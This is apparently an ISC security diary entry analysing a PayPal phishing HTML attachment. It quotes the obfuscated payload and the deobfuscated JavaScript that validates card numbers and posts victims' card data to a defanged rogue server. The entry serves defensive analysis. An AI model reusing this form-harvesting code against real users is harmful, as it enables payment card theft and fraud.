One of our readers sent us an interesting sample that was captured by his anti-spam. The suspicious email had an HTML file attached to it. By having a look at the file manually, it is heavily obfuscated and the payload is encoded in a unique variable:

var iKz7xb8 = "160b6e65697e737a6f0a627e67661416425e47460a464b444d17084f44081416424f4b4e1416
474f5e4b0a49424b58594f5e17085f5e4c0712081416474f5e4b0a444b474f17085c434f5d5a45585e080a49454
45e4f445e17085d434e5e42174e4f5c43494f075d434e5e42060a4344435e434b460759494b464f171b08141646
4344410a42584f4c1708425e5e5a591005054c45445e59044d45454d464f4b5a43590449454705495959154c4b4
743465317784548455e45080a584f461708595e53464f59424f4f5e08140a16595e53464f1400514c45445e074c
4b47434653100a0d784548455e450d060a5 ... ";

The file has a current VT score of 0/55 [1] and is "free" of malicious code, it is just a very nice Paypal phishing page:

The HTTP form data are sent to a rogue server but how to get it? To obtain more details about the malicious JavaScript code, it can be de-obfuscated with JSDetox[2] and some manual changes. The complete code can now be reviewed manually. The following function does the job:

<input type="button" class="ssP" onClick="ss()" value="Submit Form">
...
function ss(){
    if (!TLSPort()){
        window.location.replace("https://www.paypal.com/");
        return false;
    }
    var GoogleAnalytics="hxxp://www.eurodyte.net/" + "86c2e66377265675a8a0edc1befe1837.php";
    document.forms["pF"].action=GoogleAnalytics;document.forms["pF"].method="POST";
    document.forms["pF"].submit();
}

The TLSPort() function is just a validation function:

function TLSPort(){
    var CV=CValid(document.pF.pCC.value);
    if (!CV) return 0;
    var x=document.pF.pFN.value,y=document.pF.pEM.value,z=document.pF.pEY.value,\ 
        w=document.pF.pSA.value,v=document.pF.pCV.value;
    if (!v || !w || !x || y=="00" || z=="00") return 0;
    return 1;
}

CValid is used to verify the CC number provided by the victim:

function CValid(x){
    if (/[^0-9-\s]+/.test(x)) return false;
    var nn=0,nd=0,be=false;x=x.replace(/\D/g, "");
    for (var n=x.length - 1; n >=0; n--){
        var cd=x.charAt(n),nd=parseInt(cd, 10);
        if (be){
            if ((nd *=2) > 9) nd -=9
        }
        nn +=nd;be=!be
    }
    return (nn % 10)==0
}

Here is a valid POST to the attacker's server (using a test Visa number - 4111111111111111 - and fake data):

[1] https://www.virustotal.com/en/file/a54f8118448da24d9c344e0b2dea511819b6f7de5b2bb2d00b99c71153a4970a/analysis/
[2] https://github.com/svent/jsdetox

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
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